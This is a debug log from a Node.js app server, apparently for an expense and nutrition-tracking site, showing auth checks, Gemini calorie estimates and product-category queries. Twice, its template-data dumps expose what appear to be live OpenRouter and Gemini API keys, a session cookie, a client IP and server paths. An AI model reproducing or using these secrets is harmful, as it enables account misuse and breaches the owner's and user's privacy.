      food_name: 'Whey Protein',
      quantity: '1 scoop (27g protein)',
      calories_consumed: 120,
      total_calories: 120,
      protein: 27,
      carbs: 3,
      fat: 1,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent for muscle development and recovery after workouts. High protein content is crucial for your goal.'
    }
  ],
  total_macros: {
    protein: { value: 27, unit: 'g' },
    carbs: { value: 3, unit: 'g' },
    fat: { value: 1, unit: 'g' }
  }
}
2025-12-18T05:19:13.238Z server-connect:app Executing action step identify
2025-12-18T05:19:13.238Z server-connect:app options: { provider: 'security' }
2025-12-18T05:19:13.238Z server-connect:output identity: 1
2025-12-18T05:19:15.361Z server-connect:app Executing action step identify
2025-12-18T05:19:15.361Z server-connect:app options: { provider: 'security' }
2025-12-18T05:19:15.362Z server-connect:output identity: 1
2025-12-18T05:33:00.239Z server-connect:app Executing action step identify
2025-12-18T05:33:00.239Z server-connect:app options: { provider: 'security' }
2025-12-18T05:33:00.240Z server-connect:output identity: 1
2025-12-18T05:33:01.945Z server-connect:app Executing action step identify
2025-12-18T05:33:01.945Z server-connect:app options: { provider: 'security' }
2025-12-18T05:33:01.945Z server-connect:output identity: 1
2025-12-18T05:43:04.229Z server-connect:app Executing action step identify
2025-12-18T05:43:04.229Z server-connect:app options: { provider: 'security' }
2025-12-18T05:43:04.229Z server-connect:output identity: 1
2025-12-18T05:43:06.035Z server-connect:app Executing action step identify
2025-12-18T05:43:06.035Z server-connect:app options: { provider: 'security' }
2025-12-18T05:43:06.035Z server-connect:output identity: 1
2025-12-18T05:59:03.234Z server-connect:app Executing action step identify
2025-12-18T05:59:03.235Z server-connect:app options: { provider: 'security' }
2025-12-18T05:59:03.235Z server-connect:output identity: 1
2025-12-18T05:59:05.937Z server-connect:app Executing action step identify
2025-12-18T05:59:05.937Z server-connect:app options: { provider: 'security' }
2025-12-18T05:59:05.937Z server-connect:output identity: 1
2025-12-18T06:17:15.045Z server-connect:app Executing action step identify
2025-12-18T06:17:15.045Z server-connect:app options: { provider: 'security' }
2025-12-18T06:17:15.045Z server-connect:output identity: 1
2025-12-18T06:17:17.611Z server-connect:app Executing action step identify
2025-12-18T06:17:17.611Z server-connect:app options: { provider: 'security' }
2025-12-18T06:17:17.611Z server-connect:output identity: 1
2025-12-18T06:18:56.945Z server-connect:app Executing action step identify
2025-12-18T06:18:56.945Z server-connect:app options: { provider: 'security' }
2025-12-18T06:18:56.945Z server-connect:output identity: 1
2025-12-18T06:18:59.507Z server-connect:app Executing action step identify
2025-12-18T06:18:59.507Z server-connect:app options: { provider: 'security' }
2025-12-18T06:18:59.507Z server-connect:output identity: 1
2025-12-18T06:36:45.261Z server-connect:app Executing action step identify
2025-12-18T06:36:45.262Z server-connect:app options: { provider: 'security' }
2025-12-18T06:36:45.262Z server-connect:output identity: 1
2025-12-18T06:36:48.659Z server-connect:app Executing action step identify
2025-12-18T06:36:48.659Z server-connect:app options: { provider: 'security' }
2025-12-18T06:36:48.659Z server-connect:output identity: 1
2025-12-18T06:48:28.226Z server-connect:app Executing action step identify
2025-12-18T06:48:28.226Z server-connect:app options: { provider: 'security' }
2025-12-18T06:48:28.226Z server-connect:output identity: 1
2025-12-18T06:48:30.358Z server-connect:app Executing action step identify
2025-12-18T06:48:30.359Z server-connect:app options: { provider: 'security' }
2025-12-18T06:48:30.359Z server-connect:output identity: 1
2025-12-18T06:55:01.232Z server-connect:app Executing action step identify
2025-12-18T06:55:01.233Z server-connect:app options: { provider: 'security' }
2025-12-18T06:55:01.233Z server-connect:output identity: 1
2025-12-18T06:55:03.440Z server-connect:app Executing action step identify
2025-12-18T06:55:03.440Z server-connect:app options: { provider: 'security' }
2025-12-18T06:55:03.440Z server-connect:output identity: 1
2025-12-18T07:02:28.243Z server-connect:app Executing action step identify
2025-12-18T07:02:28.243Z server-connect:app options: { provider: 'security' }
2025-12-18T07:02:28.244Z server-connect:output identity: 1
2025-12-18T07:02:31.238Z server-connect:app Executing action step identify
2025-12-18T07:02:31.238Z server-connect:app options: { provider: 'security' }
2025-12-18T07:02:31.238Z server-connect:output identity: 1
2025-12-18T07:08:37.237Z server-connect:app Executing action step identify
2025-12-18T07:08:37.237Z server-connect:app options: { provider: 'security' }
2025-12-18T07:08:37.237Z server-connect:output identity: 1
2025-12-18T07:08:39.285Z server-connect:app Executing action step identify
2025-12-18T07:08:39.285Z server-connect:app options: { provider: 'security' }
2025-12-18T07:08:39.285Z server-connect:output identity: 1
2025-12-18T07:11:33.669Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-18T07:11:33.670Z server-connect:app Executing action step identify
2025-12-18T07:11:33.670Z server-connect:app options: { provider: 'security' }
2025-12-18T07:11:33.670Z server-connect:output identity: 1
2025-12-18T07:11:33.670Z server-connect:app Executing action step restrict
2025-12-18T07:11:33.670Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T07:11:33.672Z server-connect:output restrict: undefined
2025-12-18T07:11:33.672Z server-connect:app Executing action step processWithGemini
2025-12-18T07:11:33.672Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-18T07:11:35.995Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Homemade Jaggery Cake',
      quantity: '1 slice (approx 100g)',
      calories_consumed: 350,
      total_calories: 350,
      protein: 4,
      carbs: 50,
      fat: 15,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: 'While jaggery is a healthier sweetener than refined sugar, cake still contains significant calories from flour and fat. For muscle development, prioritizing protein and complex carbs is better. This can be an occasional treat, but not a daily staple.'
    }
  ],
  total_macros: {
    protein: { value: 4, unit: 'g' },
    carbs: { value: 50, unit: 'g' },
    fat: { value: 15, unit: 'g' }
  }
}
2025-12-18T07:21:43.230Z server-connect:app Executing action step identify
2025-12-18T07:21:43.231Z server-connect:app options: { provider: 'security' }
2025-12-18T07:21:43.231Z server-connect:output identity: 1
2025-12-18T07:21:45.324Z server-connect:app Executing action step identify
2025-12-18T07:21:45.324Z server-connect:app options: { provider: 'security' }
2025-12-18T07:21:45.324Z server-connect:output identity: 1
2025-12-18T07:27:02.235Z server-connect:app Executing action step identify
2025-12-18T07:27:02.235Z server-connect:app options: { provider: 'security' }
2025-12-18T07:27:02.235Z server-connect:output identity: 1
2025-12-18T07:27:04.080Z server-connect:app Executing action step identify
2025-12-18T07:27:04.080Z server-connect:app options: { provider: 'security' }
2025-12-18T07:27:04.080Z server-connect:output identity: 1
2025-12-18T07:31:14.061Z server-connect:app Executing action step identify
2025-12-18T07:31:14.061Z server-connect:app options: { provider: 'security' }
2025-12-18T07:31:14.061Z server-connect:output identity: 1
2025-12-18T07:31:15.776Z server-connect:app Executing action step identify
2025-12-18T07:31:15.776Z server-connect:app options: { provider: 'security' }
2025-12-18T07:31:15.776Z server-connect:output identity: 1
2025-12-18T07:39:42.638Z server-connect:app Executing action step identify
2025-12-18T07:39:42.638Z server-connect:app options: { provider: 'security' }
2025-12-18T07:39:42.638Z server-connect:output identity: 1
2025-12-18T07:39:44.705Z server-connect:app Executing action step identify
2025-12-18T07:39:44.705Z server-connect:app options: { provider: 'security' }
2025-12-18T07:39:44.706Z server-connect:output identity: 1
2025-12-18T07:44:00.956Z server-connect:app Executing action step identify
2025-12-18T07:44:00.956Z server-connect:app options: { provider: 'security' }
2025-12-18T07:44:00.956Z server-connect:output identity: 1
2025-12-18T07:44:24.378Z server-connect:app Executing action step identify
2025-12-18T07:44:24.378Z server-connect:app options: { provider: 'security' }
2025-12-18T07:44:24.379Z server-connect:output identity: 1
2025-12-18T07:44:27.270Z server-connect:app Executing action step identify
2025-12-18T07:44:27.270Z server-connect:app options: { provider: 'security' }
2025-12-18T07:44:27.271Z server-connect:output identity: 1
2025-12-18T07:44:32.429Z server-connect:app Executing action step identify
2025-12-18T07:44:32.429Z server-connect:app options: { provider: 'security' }
2025-12-18T07:44:32.429Z server-connect:output identity: 1
2025-12-18T07:44:40.458Z server-connect:app Executing action step identify
2025-12-18T07:44:40.458Z server-connect:app options: { provider: 'security' }
2025-12-18T07:44:40.458Z server-connect:output identity: 1
2025-12-18T07:44:43.073Z server-connect:app Executing action step identify
2025-12-18T07:44:43.073Z server-connect:app options: { provider: 'security' }
2025-12-18T07:44:43.073Z server-connect:output identity: 1
2025-12-18T07:44:44.049Z server-connect:app Executing action step identify
2025-12-18T07:44:44.049Z server-connect:app options: { provider: 'security' }
2025-12-18T07:44:44.049Z server-connect:output identity: 1
2025-12-18T07:44:44.959Z server-connect:app Executing action step identify
2025-12-18T07:44:44.959Z server-connect:app options: { provider: 'security' }
2025-12-18T07:44:44.959Z server-connect:output identity: 1
2025-12-18T07:46:00.410Z server-connect:app Executing action step identify
2025-12-18T07:46:00.410Z server-connect:app options: { provider: 'security' }
2025-12-18T07:46:00.410Z server-connect:output identity: 1
2025-12-18T07:46:01.378Z server-connect:app Executing action step identify
2025-12-18T07:46:01.378Z server-connect:app options: { provider: 'security' }
2025-12-18T07:46:01.378Z server-connect:output identity: 1
2025-12-18T07:46:07.492Z server-connect:app Executing action step identify
2025-12-18T07:46:07.492Z server-connect:app options: { provider: 'security' }
2025-12-18T07:46:07.492Z server-connect:output identity: 1
2025-12-18T07:46:46.190Z server-connect:app Executing action step identify
2025-12-18T07:46:46.190Z server-connect:app options: { provider: 'security' }
2025-12-18T07:46:46.190Z server-connect:output identity: 1
2025-12-18T07:47:43.810Z server-connect:app Executing action step identify
2025-12-18T07:47:43.810Z server-connect:app options: { provider: 'security' }
2025-12-18T07:47:43.810Z server-connect:output identity: 1
2025-12-18T07:47:45.644Z server-connect:app Executing action step identify
2025-12-18T07:47:45.644Z server-connect:app options: { provider: 'security' }
2025-12-18T07:47:45.644Z server-connect:output identity: 1
2025-12-18T07:50:02.456Z server-connect:app Executing action step identify
2025-12-18T07:50:02.456Z server-connect:app options: { provider: 'security' }
2025-12-18T07:50:02.456Z server-connect:output identity: 1
2025-12-18T07:50:11.451Z server-connect:app Executing action step identify
2025-12-18T07:50:11.451Z server-connect:app options: { provider: 'security' }
2025-12-18T07:50:11.451Z server-connect:output identity: 1
2025-12-18T07:51:49.400Z server-connect:app Executing action step identify
2025-12-18T07:51:49.400Z server-connect:app options: { provider: 'security' }
2025-12-18T07:51:49.400Z server-connect:output identity: 1
2025-12-18T07:51:50.880Z server-connect:app Executing action step identify
2025-12-18T07:51:50.880Z server-connect:app options: { provider: 'security' }
2025-12-18T07:51:50.881Z server-connect:output identity: 1
2025-12-18T07:52:20.118Z server-connect:app Executing action step identify
2025-12-18T07:52:20.118Z server-connect:app options: { provider: 'security' }
2025-12-18T07:52:20.119Z server-connect:output identity: 1
2025-12-18T07:52:23.140Z server-connect:app Executing action step identify
2025-12-18T07:52:23.140Z server-connect:app options: { provider: 'security' }
2025-12-18T07:52:23.140Z server-connect:output identity: 1
2025-12-18T07:52:25.278Z server-connect:app Executing action step identify
2025-12-18T07:52:25.278Z server-connect:app options: { provider: 'security' }
2025-12-18T07:52:25.278Z server-connect:output identity: 1
2025-12-18T07:53:07.930Z server-connect:app Executing action step identify
2025-12-18T07:53:07.930Z server-connect:app options: { provider: 'security' }
2025-12-18T07:53:07.931Z server-connect:output identity: 1
2025-12-18T07:58:28.232Z server-connect:app Executing action step identify
2025-12-18T07:58:28.232Z server-connect:app options: { provider: 'security' }
2025-12-18T07:58:28.232Z server-connect:output identity: 1
2025-12-18T07:58:30.306Z server-connect:app Executing action step identify
2025-12-18T07:58:30.306Z server-connect:app options: { provider: 'security' }
2025-12-18T07:58:30.306Z server-connect:output identity: 1
2025-12-18T08:14:17.234Z server-connect:app Executing action step identify
2025-12-18T08:14:17.235Z server-connect:app options: { provider: 'security' }
2025-12-18T08:14:17.235Z server-connect:output identity: 1
2025-12-18T08:14:20.583Z server-connect:app Executing action step identify
2025-12-18T08:14:20.583Z server-connect:app options: { provider: 'security' }
2025-12-18T08:14:20.583Z server-connect:output identity: 1
2025-12-18T08:25:10.238Z server-connect:app Executing action step identify
2025-12-18T08:25:10.238Z server-connect:app options: { provider: 'security' }
2025-12-18T08:25:10.238Z server-connect:output identity: 1
2025-12-18T08:25:13.367Z server-connect:app Executing action step identify
2025-12-18T08:25:13.367Z server-connect:app options: { provider: 'security' }
2025-12-18T08:25:13.367Z server-connect:output identity: 1
2025-12-18T08:30:19.273Z server-connect:router Serving templateView /
2025-12-18T08:30:19.274Z server-connect:app Executing action step identify
2025-12-18T08:30:19.274Z server-connect:app options: { provider: 'security' }
2025-12-18T08:30:19.274Z server-connect:output identity: 1
2025-12-18T08:30:19.274Z server-connect:app Executing action step restrict
2025-12-18T08:30:19.274Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T08:30:19.276Z server-connect:output restrict: undefined
2025-12-18T08:30:19.277Z server-connect:app Executing action step restrict
2025-12-18T08:30:19.277Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T08:30:19.277Z server-connect:output restrict: undefined
2025-12-18T08:30:19.277Z server-connect:router Render template layouts/main
2025-12-18T08:30:19.277Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3AVkBY102LIeTcHzvu-J0fjlo9LiwgIH_0.QVa%2FExYL4Pi%2BHp13zO%2BL5e3PQEqEKCvNyJp4wumKhqg',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T02:37:25.035Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3AVkBY102LIeTcHzvu-J0fjlo9LiwgIH_0.QVa%2FExYL4Pi%2BHp13zO%2BL5e3PQEqEKCvNyJp4wumKhqg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-18T08:30:31.163Z server-connect:router Serving templateView /
2025-12-18T08:30:31.163Z server-connect:app Executing action step identify
2025-12-18T08:30:31.163Z server-connect:app options: { provider: 'security' }
2025-12-18T08:30:31.163Z server-connect:output identity: 1
2025-12-18T08:30:31.164Z server-connect:app Executing action step restrict
2025-12-18T08:30:31.164Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T08:30:31.164Z server-connect:output restrict: undefined
2025-12-18T08:30:31.164Z server-connect:app Executing action step restrict
2025-12-18T08:30:31.164Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T08:30:31.164Z server-connect:output restrict: undefined
2025-12-18T08:30:31.164Z server-connect:router Render template layouts/main
2025-12-18T08:30:31.165Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3AVkBY102LIeTcHzvu-J0fjlo9LiwgIH_0.QVa%2FExYL4Pi%2BHp13zO%2BL5e3PQEqEKCvNyJp4wumKhqg',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T02:37:25.035Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3AVkBY102LIeTcHzvu-J0fjlo9LiwgIH_0.QVa%2FExYL4Pi%2BHp13zO%2BL5e3PQEqEKCvNyJp4wumKhqg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-18T08:30:36.555Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-18T08:30:36.556Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-18T08:30:36.560Z server-connect:app Executing action step identify
2025-12-18T08:30:36.560Z server-connect:app options: { provider: 'security' }
2025-12-18T08:30:36.561Z server-connect:output identity: 1
2025-12-18T08:30:36.561Z server-connect:app Executing action step restrict
2025-12-18T08:30:36.561Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T08:30:36.561Z server-connect:app Executing action step identify
2025-12-18T08:30:36.561Z server-connect:app options: { provider: 'security' }
2025-12-18T08:30:36.561Z server-connect:output identity: 1
2025-12-18T08:30:36.561Z server-connect:app Executing action step restrict
2025-12-18T08:30:36.562Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T08:30:36.562Z server-connect:output restrict: undefined
2025-12-18T08:30:36.562Z server-connect:app Executing action step select
2025-12-18T08:30:36.562Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-18T08:30:36.563Z server-connect:output restrict: undefined
2025-12-18T08:30:36.563Z server-connect:app Executing action step single
2025-12-18T08:30:36.563Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-18T08:30:36.568Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
